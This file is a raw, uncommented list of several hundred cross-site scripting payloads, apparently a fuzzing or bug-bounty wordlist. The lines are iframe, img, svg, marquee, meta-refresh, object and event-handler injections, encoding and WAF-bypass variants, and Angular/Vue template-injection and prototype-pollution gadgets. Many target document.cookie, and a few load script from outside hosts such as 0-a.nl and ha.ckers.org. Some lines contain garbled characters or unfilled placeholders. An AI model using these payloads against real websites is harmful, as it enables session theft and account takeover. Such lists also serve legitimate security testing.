<iframe src=data:text/html,<iframe src="data:text/html;base64,PD8+PD8+TT9MSz9KSyNAJDpMQCNKXkBePHNjcmlwdD5hbGVydCgnQml0QmFyZyA6KScpOzwvc2NyaXB0Pgo=">
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
<iframe/src="data:text/html,<svg &#111;&#110;load=alert(/AmoloHT/)>">
<iframe/src="data:text/html,<svg onload=alert(1)>">
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
"><iframe srcdoc='%26lt;script>;prompt${document.domain}%26lt;/script>'>
<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>
<iframe srcdoc="<img src=x onerror=alert(998282828181100019)>"></iframe> /path?next=javascript:top[/al/.source+/ert/.source](document.cookie) login?redirectUrl=javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.domain
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
<iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:alert(1)&amp;gt;>">
<iframe srcdoc="&lt;img src=1 onerror=alert(1)&gt;"></iframe>
<iframe srcdoc=&lt;script&gt;alert&lpar;1&rpar;&lt;&sol;script&gt;></iframe>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<iframe srcdoc="<script>top[//.source+//ert//.source](document.cookie)</script>"></iframe>
<iframe src-doc="<svg onload=alert (1337)&nvgt;"></iframe>
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
<iframe src iframe src="javascript:javascript:alert(1)"></iframe src>
<iframe src="javasc%0a%0dript:alert(0);">
<iframe src="jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e"></iframe>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
#<iframe src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
"><iframe/src="javascript:alert(1%26%23x00000000000000000000000000029;"></iframe>
<iframe src="javascript:alert(1)"></iframe>
\"><iframe/src=javascript:alert%26%23x000000028%3b)>
<IFRAME SRC="javascript:alert(document.cookie);"></iframe>'
<IFRAME SRC="javascript:alert(document.cookie);"></IFRAME>
<iframe src="javascript:alert(document.domain)"></iframe>
<iframe src="java sc ript:al ert()"></iframe>
"><iframe src="javascript:alert(XSS)">
<iframe SRC="javascript:alert('XSS');" //
<iframe SRC="javascript:alert('XSS');" <
#<iframe src="javascript:alert('XSS');"></iframe>
<iframe src="javascript:alert('XSS')"></iframe>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<iframe// src=javaSCRIPT&colon;alert(1)
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<IFRAME SRC="javascript:javascript:alert(1);"></IFRAME>
<iframe src="javascript:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe>
<iframe src=java&Tab;sc&Tab;ript:al&Tab;ert()></iframe>
<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
"<iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;1&#x29; >"
<iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;1&#x29;>
<iframe/src \/\/onload = prompt(1)
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<iframe src=# onmouseover=alert(String.fromCharCode(88,83,83))></iframe>
<iframe src=%(scriptlet)s <
<iframe  src="&Tab;javascript:prompt(1)&Tab;">
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<!--[if]><script>javascript:alert(1)</script-->
ignition/scripts/--><svg%20onload=alert%28document.domain%29>
Ij48aW1nIHNyYz14IG9uZXJyb3I9cHJvbXB0KGRvY3VtZW50LmNvb2tpZSk7Pg==
<image2 onfocus=alert(1) autofocus tabindex=1>	
<image id=x tabindex=1 onfocus=alert(1)></image>
<IMG ���><SCRIPT>alert(�XSS�)</SCRIPT>�>
"><input%252bTyPE%25253d"hxlxmj"%252bSTyLe%25253d"display%25253anone%25253b"%252bonfocus%25253d"this.style.display%25253d'block'%25253b%252bthis.onfocus%25253dnull%25253b"%252boNMoUseOVer%25253d"this['onmo'%25252b'useover']%25253dnull%25253beval(String.fromCharCode(99,111,110,102,105,114,109,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))%25253b"%252bAuToFOcus>
<input accesskey=X onclick="self['wind'+'ow']['one'+'rror']=alert;throw 1337;">
<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
<input autofocus onfocus=alert(1)>
<input autofocus onfocus=alert(1)>	
javascript:\u0061lert&#x28;1&#x29
javascript:var a=document.createElement('a');a.href='javascript:alert(1)';document.body.appendChild(a)
“javascript:var{a:onerror}={a:alert};throw%20document.cookie”
javascript:var{a:onerror}={a:alert};throw%20document.domain
javascript:var img=document.createElement('img');img.src='';document.body.appendChild(img);img.onerror=alert(1)
javascript&#x00000003A;alert&#x000000028;2&#x000000029;&#x00000003B;
javascript&#x003A;alert(1)
javascript:x='%27-alert(1)-%27';
javascript&#x3A;confirm&lpar;document&period;cookie&rpar;
javas&Tab;cript:\u0061lert(1);
"jav&#x09;ascript:alert(1);">
#"jav&#x09;ascript:alert(1);">
<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x
//j\\javascript:alert(document.domain)
j&NewLine;a&NewLine;vas&NewLine;cript:confirm(1);
<keygen autofocus onfocus=alert(1)>
<label id=x tabindex=1 onfocus=alert(1)></label>
<label onfocus=alert(1) autofocus tabindex=1>	
<LAYER SRC="%(scriptlet)s"></LAYER>
<link rel="import" href="data:text/html,<script>alert('XSS')</script>">
<link rel="stylesheet" href="data:text/css,*{background:url('javascript:alert(XSS)')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:javascript:alert(1);">
<link rel="stylesheet" href="#" onload="window.alert('XSS_WAF_BYPASS')">
"><link rel="stylesheet" href="style.css"><img src=x onerror=prompt(document.domain);>
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
<li style=list-style:url() onerror=javascript:alert(/AmoloHT/)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(/AmoloHT/)></div>
location=/javascript:alert%2823%29/.source;
location='javaScriPt:alert\x2845\x29'
location='JaVaScRiPt:prompt'+document.location.hash[1]+'45'+document.location.hash[2]
";location=location.hash)//#0={};alert(0)
Login.aspx?username=<img/src/onerror=alert(coffinxp)>
<lol/onauxclick=[0].some(alert)>rightclickhere
'>&lt;/b&gt;%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cb&gt;&lt;!--
'>&lt;/b&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;b&gt;&lt;!--
&lt;details%0Aopen%0AonToGgle%0A=%0Aabc=(co\u006efirm);abc%28%60xss%60%26%2300000000000000000041//
&lt;dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt%2Ca(origin)%20x&gt;
&lt;dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x&gt;
&lt;iframe src=http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html&gt;
#&lt;img&#47;src&#47;onerror=alert(`coffinxp`)&gt;
&lt;IMG \"\"\"&gt;&lt;SCRIPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;\"&gt;
"&lt;img src=1 onerror=alert(1)&gt;
&lt;img src=1 onerror=alert(1)&gt;
&lt;IMG SRC=javascript&#058;alert(&quot;XSS&quot;)&gt;
&lt;IMG SRC=`javascript&#058;alert(\"RSnake says, 'XSS'\")`&gt;
&lt;IMG SRC=\"javascript&#058;alert('XSS')\"
&lt;IMG SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;IMG SRC=javascript&#058;alert('XSS')&gt;
&lt;IMG SRC=JaVaScRiPt&#058;alert('XSS')&gt;
&lt;img src=# onerror=alert(1)&gt;
&lt;img/src/onerror=alert(`coffinxp`)&gt;
&lt;img/src=&quot;x&quot;/onerror=alert(23)&gt;
&lt;img src=x onerror=alert()>
&lt;img src=x onerror=alert(1)&gt;.crt
&lt;img src=x onerror=alert(document.domain)&gt;
">&lt;img src=x onerror=prompt(document.domain);&gt;
&lt;&lt;img src=x onerror=prompt(document)&gt;&gt;;
”/>&_lt;_script>alert(1)&_lt;/scr_ipt>”/>
&lt;script&gt;alert(1)&lt;/script&gt;
& lt;script&gt;alert(2);& lt;/script&gt;
&lt;script&gt;alert(&#39;123&#39;);&lt;/script&gt;
&ltScRiPt&gtalert('Steiner254');&lt/ScRiPt&gt
&lt;script&gt;alert('XSS')&lt;/script&gt;
&lt;script&gt;prompt(&apos;1&apos;)&lt;/script&gt;
#&lt;script&gt;prompt(document.domain)&lt;&#47;script&gt;
&lt;SCRIPT SRC=//ha&#46;ckers&#46;org/&#46;js&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js?&lt;B&gt;
&ltscr\x00ipt&gtalert('Steiner254')&lt/scr\x00ipt&gt
&lt;svg/onload=&#39;alert&amp;#40 23 &amp;#41;&#39;&gt;	
&lt;svg onload=&amp;#97&amp;#108&amp;#101&amp;#114&amp;#116(1)&gt;	
{{&lt;svg/onload=prompt(&quot;XSS&quot;)&gt; }}
<mark onfocus=alert(1) autofocus tabindex=1>	
'">><marquee><h1>1</h1></marquee>
">><marquee><img src=x onerror=confirm(1)></marquee>"
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
<marquee loop=1 onfinish=alert( )>x
>><marquee loop=1 width=0 onfinish=alert(1)>
<marquee loop=1 width=0 onfinish=alert`1`>XSS</marquee>
<marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>
<marquee loop=1 width=0 onfinish=prompt(1)>1</marquee>
marquee loop=1 width=0 onfinish=pr\u006fmpt(document.cookie)>Y000</marquee>
<marquee onstart=alert(1)>
<marquee onstart="alert('XSS')">Start</marquee>
<marquee/onstart=c=String.fromCharCode;confirm(c(47)+c(88)+c(83)+c(83)+c(47))>
<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
<marquee onstart=\u0070r\u06f\u006dpt()>
">>>>>><marquee>RXSS</marquee></head><abc%3E</script><script>alert(document.cookie)</script><meta
<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
<math><a xlink:href="//jsfiddle.net/t846h/">click
<math><brute href=javascript:alert(1)>click
<math><brute xlink:href=javascript:alert(1)>click
<math href="javascript:alert('XSS')" />
<math href="javascript:javascript:alert(1)">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
<math href="javascript:javascript:alert(/AmoloHT/)">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(/AmoloHT/)">CLICKME</maction> </math>
<math><style><img src onerror=alert(2)></style></math>
<math xlink:href="jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e">click me</math>
<math><x xlink:href=javascript:confirm`1`>click
/me/m%3C/script%3E%3Csvg/onload=prompt(document.domain)%3E
<meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾
<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>
<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(/AmoloHT/)" http-equiv="refresh"/>
<META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);">
<meta http-equiv="refresh" content=" ; url=javascript:alert('XSS');">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<meta style="xss:expression(open(alert(1)))" />
<meter onmouseover="alert(1)"
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>
<meter value=" " min=" " max=" " low=" " high=" " onmouseover="alert('XSS')"></meter>
mitsecXSS%22%3E%3Cinput%20%00%20onControl%20hello%20oninput=confirm(1)%20x%3E
mrco24"type=image src onerror="alert(1)"
?msg=<img/src=`%00`%20onerror=this.onerror=confirm(1)
navigation.navigate`javascript:alert\x2823\x29`
new Function`a\l\ert\`1\``
<noembed><img title="</noembed><img src onerror=alert(1)>"></noembed>
<noframes><img title="</noframes><img src onerror=alert(1)>"></noframes>
<noscript><img title="</noscript><img src onerror=alert(1)>"></noscript>
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<noscript><p title="</noscript><img src=x onerror=([,O,B,J,E,C,,]=[]+{},[T,R,U,E,F,A,L,S,,,N]=[!!O]+!O+B.E)[X=C+O+N+S+T+R+U+C+T+O+R][X](A+L+E+R+T+(document.cookie))()>">
'>'\n><script>alert(2);</script>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>
<object data="data:text/html;base64,%(base64)s">
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
<object+data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object/data=javascript:alert()>
<object+data="javascript:alert(0)">
<object data=javascript:alert(1)>
<object data="javascript:alert(XSS)">
<object/data="javascript&colon;alert/**/(document.domain)">//
<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
<object onafterscriptexecute=confirm(0)>
<object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>
<object onerror=javascript:javascript:alert(1)>
<object onError object onError="javascript:javascript:alert(1)"></object onError>
<object><param name="src" value="javascript:alert(0)"></param></object>
<object src=1 href=1 onerror="javascript:alert(1)"></object>
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
<OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT>
<ol onfocus=alert(1) autofocus tabindex=1>	
" onauxclick=confirm`xss` "
\"<>onauxclick<>=(eval)(atob(`YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==`))>+<sss
onblur=”alert(‘XSS’)
onchange=”alert(‘XSS’)
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
onclick=”alert(‘XSS’)
"onclick=prompt(8)><svg/onload=prompt(8)>"@x.y
"onclick=prompt(8)>"@x.y
"on{{click=prompt(document['cookie'])/*}}*/>
"oncut="alert()
"oncut=alert(1)
"+onDblClick=prompt(123)"+
" on<embed>click="a=al<embed>ert,a(cookie)
onerror=alert(0);>
onerror=alert();><script>alert();</script>
{onerror=alert}throw 23
onerror=alert;throw 23;
' onerror='alert("xss")'>
onerror="alert('XSS')"
onerror=”alert(‘XSS’)
onerror=eval;throw'=alert\x2823\x29';
onerror=eval;throw'alert\x2845\x29';
"+onError=prompt(123)"+
onerror="x='ale';z='r';y='t';p='`XSS`';new constructor.constructor`zzz${`${x}${z}${y}${p}`}bbb`
' onfocus='alert(1)'
‘ onfocus=’alert(1)’
‘onfocus=’alert(1)’
" onfocus="alert(1)" autofocus="
'onfocus='alert(1)' autofocus='
‘ onfocus=’alert(1)’ autofocus=’
onfocus=alert&#x00000000028;1&#x00000000029; autofocus>
onfocus=”alert(‘XSS’)
"onfocus=JaVaSCript:alert(123) autofocus
onfocus=JaVaSCript:alert(123) autofocus
"+onfocus="prompt(1)"+
oninput=”alert(‘XSS’)
onkeydown=”alert(‘XSS’)
"+onkeypress="prompt(23)"+
onload=\"a='alert()';d='XSS ';b='t(d)';c=a+b;console.log(eval(c));
" onload=alert&#0000000040origin) value="
'onload=alert(1)><svg/1='
onload=”alert(‘XSS’)
" onload="document.cookie" foobar="
onload=prompt`1`>
"onm<>ouseover="ale<>rt(0)
"onmouseover="alert(1)
"onmouseover=alert(1)
"onmouseover=alert(1)//
#"onmouseover="alert(1)
‘ onmouseover=’alert(1)’
"onmouseover="alert(document.cookie)"><!--
onmouseover=”alert(‘XSS’)
“ OnMouseOver=”prompt`1`
onmouseover=prompt(1)>OnMouseOve
"onpointerover=”alert(‘XSS’)
onpointerover=”alert(‘XSS’)
/on<script>load=prompt(document.cookie);>
onsubmit=”alert(‘XSS’)
"ontouchend%3Dprompt%281%29+class%3Dd3rk+
"onx+%00+onpointerenter%3dalert(domain)+x"
onx+%00+onpointerenter%3dalert(domain)+x
"Onx=() onMouSeoVer=prompt(1)>"Onx=[] onMouSeoVer=prompt(1)>"//Onx=""//onfocus=prompt(1)>"//Onx=""//%01onfocus=prompt(1)>"%01onClick=prompt(1)>"%2501onclick=prompt(1)>"onClick="(prompt)(1)"Onclick="(prompt(1))"OnCliCk="(prompt1)"Onclick="([1].map(confirm))
#{{_openBlock.constructor('alert(1)')()}}
{{_openBlock.constructor('alert(1)')()}}
<optgroup label="XSS" onmouseenter="alert('XSS')"></optgroup>
</option><img src=x onerror=alert(origin)>
page=1"><Svg Only=1 OnLoad=confirm(document.domain)>
param A=<script>alert("
parameter=<svg/&parameter=onload=alert()>
';parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain']);//
';parent[/*foo*/'alert'/*bar*/](parent[/*foo*/'document'/*bar*/]['domain']);//
';parent['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
';parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"](parent["\x61\x74\x6f\x62"]("WFNT"))');//
parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
parseInt("prompt",36);
?path=%2500%27onmouseover=%27window.stop();alert(document.domain)%27
`payload´; %3Cimg src='null' onerror=alert('spyerror')%3E
<p :=_c.constructor`alert(1)`()>
PHN2Zy9vbmxvYWQ9J2FsZXJ0Jz4=
PHN2ZyBvbmxvYWQ9YWxlcnQmYWxlcnQoMjMgKT4=
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
PHNjcmlwdD5pbWcgc3JjPXggb25lcnJvci5wcm9tb3RlKHRy
<?php echo('<SCR'); echo('IPT>alert("XSS")</SCRIPT>'); ?>
<p><img/src/onerror=alert(`coffinxp`)></p>
<plaintext onfocus=alert(1) autofocus tabindex=1>	
\><plaintext/onmouseover=prompt(1)
</plaintext\></|\><plaintext/onmouseover=prompt(1)
player.swf?playerready=alert(document.cookie)
player.swf?tracecall=alert(document.cookie)
pods/ppt.aspx?&fileName=')}, 1000); alert('xss')://
<p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme
<p onfocus=alert(1) autofocus tabindex=1>	
<P/onpointerenter=alert(1)>
{{[].pop.constructor&#40'alert\u00281\u0029'&#41&#40&#41}}
</pre><!-%00-><svg/%0D%0A%0D%0A/Id="a"/TABindex="1"/onload="\u0061lert(1);">
#prettyPhoto%3Cimg%20src=x%20onerror=prompt(document.cookie)%3E;//
<progress onmouseover="alert('XSS')"></progress>
#'*prompt(1)*'
'*prompt(1)*'
'?prompt`1`?'
p'rompt(1)
"(prompt(1))in"
;prompt(1)//”;prompt(2)//”;prompt(3)//–></SCRIPT>”>’><SCRIPT>prompt(4)</SCRIPT>
prompt`45`
"!=prompt(9)!="
"*prompt(9)*"
"-prompt(9)-"
"/prompt(9)/"
"<<prompt(9)<<"
"<=prompt(9)<="
"<prompt(9)<"
"===prompt(9)==="
"==prompt(9)=="
">=prompt(9)>="
">>>prompt(9)>>>"
">>prompt(9)>>"
">prompt(9)>"
"?prompt(9):"
"^prompt(9)^"
"||prompt(9)||"
"|prompt(9)|"
prompt(9)
prompt(location.hash)
?__proto__[transport_url]=%3C%2fscript%3E%3Cscript%3Ealert(document.cookie)%3C%2fscript%3Eivl0w
prototype.join=function(){confirm("PWND:"+document.body.innerHTML)}')();
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')()
<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)">
<p style="height:100px" onwheel="self['al'+'ert'](self['ev'+'al']('docu'+'ment.coo'+'kie'))"></p>
<p v-show="_c.constructor`alert(1)`()">
q="><img/src/onerror=.1|alert`` class=d>
q=javascript:alert(document.domain)
?query=<img/src/onerror=alert(`coffinxp`)>
?query="><img src=x onerror=prompt(document.domain);>
#&quot;-alert(1)}//
&quot;&gt;&lt;img src=x onerror=confirm(1);&gt;
&quot;&gt;&lt;img src=x onerror=prompt(document.domain);&gt;
&quot;&gt;&lt;img src=x onerror=prompt(&quot;XSS&quot;)&gt;
&quot;&gt;&lt;svg onload=alert&amp;amp;#x00000040&quot;1&quot;&gt;	
&quot;&gt;&lt;svg onload=alert&amp;amp;#x27;&#x00000040&quot;1&quot;&gt;	
&quot;&gt;&lt;svg onload=alert&amp;#x27;&#x00000040&quot;1&quot;&gt;	
&quot;&gt;&lt;svg onload=alert&amp;#x2F;&#x00000040&quot;1&quot;&gt;	
&quot;&gt;&lt;SVG ONLOAD=&amp;#97&amp;#108&amp;#101&amp;#114&amp;#116(&amp;#x64&amp;#x6f&amp;#x63&amp;#x75&amp;#x6d&amp;#x65&amp;#x6e&amp;#x74&amp;#x2e&amp;#x64&amp;#x6f&amp;#x6d&amp;#x61&amp;#x69&amp;#x6e)&gt;	
quot;">"onmousemove=alert('flag{THIS_IS_THE_FLAG}');"@evil.com</a>
qwe"srcdoc="\u003ce<script%26Tab;src=//dom.xss>\u003ce</script%26Tab;e>
?&q&zzz%27onmou%3Cseover=1&ale%3Crt(%27xsp%27%3C)%3C%3B1%3B%20//
&rdquo;&gt;&lt;svg onload=alert&amp;#000000040&quot;1&quot;&gt;	
{{!ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(1);' )));}}
redirect.asp?url=javascript://%250Aalert(document.domain)
redirect.aspx?url=javascript://%250Aalert(document.domain)
&redirect_to=javascript:alert(document.domain)
redirect?url=javascript://%250Aalert(document.domain)
&redirect?url=javascript://alert(document.cookie)
&redirect_url=javscript:alert(1)
Reflect.apply.call`${alert}${undefined}${[23]}`
Reflect.set.call`${location}${'href'}${name}`
<Rxss onscrollend=alert(origin) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br>++</Rxss>
ryp3i"accesskey="x"onclick="alert(1)"//opk15
<s%00c%00r%00i%00p%00t>alert(1)</script>
<s%08c%08r%08i%08p%08t>al%08ert%08()<%08/%08s%08c%08r%08i%08p%08t%08>
><s"%2b"cript>alert(document.cookie)</s"%2B"cript>
<sc%00ript/test='asdf'>alert/**/(1)</script>
#{{_s.constructor('alert(1)')()}}
{{_s.constructor('alert(1)')()}}
<scr%00ipt>prompt(1)</sc%00ript>
</scrip</script>t><img src =q onerror=prompt(8)>
<script>$=1,alert($)</script>
<script>$=1,\u0061lert($)</script>
<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
<script/%00%00v%00%00>document.location.href=location.hash.slice(1)</script>#javascript:alert(document.cookie)
<script%00>alert(1)</script%00>
<script>(0)['constructor']['constructor']("\141\154\145\162\164(1)")();</script>
<script>%0d%0aalert(1)</script>
<script>+-+-1-+-+alert(1)</script>
"<script>1-confirm(0);</script>"/>
"/><script>+-+-1-+-+confirm(1)</script>
<script>+-+-1-+-+confirm(1)</script>
!');script(2);//
['script'](2)
<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>
<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(/AmoloHT/)</SCRIPT>
<script>function::[‘alert’](1)</script>
<script>Function`X${document.location.hash.substr`1`}```</script>
<script> http://window.name=`<img src=x onerror=alert(top.document.domain)>` location=`https://domain/?xss=<iframe src=javascript:src=http://top.name>x</iframe>` </script>
≋ "><!'/*"*\'/*\"/*--></Script><Image SrcSet=K */; OnError=confirm(document.domain) //># ≋
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
</script><img/*/src="worksinchrome&colon;prompt&#x28;1&#x29;"/*/onerror='eval(src)'>
<script>import('data:text/javascript,alert(1)')</script>
<script itworksinallbrowsers>/*<script* */alert(1)</script
<script>javascript:alert(1)</script>
<script>javascript:alert(1)</script\x0A
<script>javascript:alert(1)</script\x0B
<script>javascript:alert(1)</script\x0D
<script>javascript:alert(1)<\x00/script>
<script language='javascript' src='%(jscript)s'></script>
<script>location='javascript:alert\x281\x29'</script>
<script>location=name</script>
"'`><script>log*chr*(*num*)</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>
<script>Object.prototype.BOOMR = 1;
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1</script>
<script>onerror=alert;throw 1</script>
<script onreadystatechange=alert(1)>
<SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>
"><sc<>ript><onxXxxXXxXXXxx=()%20autofoco%20onmouseover=alert("HEJAP ZAIRY AL-SHARIF")></scr<>ipt>
<script>%(payload)s</script>
<<SCRIPT>%(payload)s//<</SCRIPT>
<script>prompt(1234)</script>
<*script>prompt(123)<*/script>
#<script>prompt(document.domain)</script>
<script>prompt(document.domain)</script>
"><​script>prompt()<​/script>
*/</script><script>alert()/*
< / script >< script >alert(123)< / script >
</script><script>alert(123)</script>
#</script><script>alert(1)</script>
</script><script>alert(1)</script>
<script><script>alert(1)</script>
}}}</script><script>alert(1)</script>
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
</script><script>alert('XSS');</script>
"}]}';</script><script>alert('You got XSSed')</script>
#</script><script>alert('You got XSSed')</script>
</script><script>alert('You got XSSed')</script>
</script><script>confirm(document.cookie)</script>
<<​script>script>prompt()<​/script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
“=””’></><script></script><svg onload=alert(1)>
“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)””
<script src=//0-a.nl/conf.js></script>
